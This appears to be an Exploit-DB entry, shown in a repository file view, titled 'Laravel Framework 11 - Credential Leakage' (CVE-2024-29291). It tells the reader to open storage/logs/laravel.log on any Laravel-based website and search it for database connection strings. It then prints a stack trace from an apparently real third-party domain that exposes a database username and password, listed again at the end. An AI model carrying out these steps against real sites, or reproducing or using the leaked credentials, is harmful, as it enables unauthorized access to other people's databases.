9eb5c7b425
7 changes to exploits/shellcodes/ghdb Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation FlatPress v1.3 - Remote Command Execution Laravel Framework 11 - Credential Leakage SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated) Wordpress Plugin Background Image Cropper v1.2 - Remote Code Execution Flowise 1.6.5 - Authentication Bypass
29 lines
No EOL
1,012 B
Text
29 lines
No EOL
1,012 B
Text
# Exploit Title: Laravel Framework 11 - Credential Leakage
|
|
# Google Dork: N/A
|
|
# Date: [2024-04-19]
|
|
# Exploit Author: Huseein Amer
|
|
# Vendor Homepage: [https://laravel.com/]
|
|
# Software Link: N/A
|
|
# Version: 8.* - 11.* (REQUIRED)
|
|
# Tested on: [N/A]
|
|
# CVE : CVE-2024-29291
|
|
|
|
Proof of concept:
|
|
Go to any Laravel-based website and navigate to storage/logs/laravel.log.
|
|
|
|
Open the file and search for "PDO->__construct('mysql:host=".
|
|
The result:
|
|
shell
|
|
Copy code
|
|
#0
|
|
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(70):
|
|
PDO->__construct('mysql:host=sql1...', 'u429384055_jscv', 'Jaly$$a0p0p0p0',
|
|
Array)
|
|
#1
|
|
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(46):
|
|
Illuminate\Database\Connectors\Connector->createPdoConnection('mysql:host=sql1...',
|
|
'u429384055_jscv', 'Jaly$$a0p0p0p0', Array)
|
|
Credentials:
|
|
Username: u429384055_jscv
|
|
Password: Jaly$$a0p0p0p0
|
|
Host: sql1... |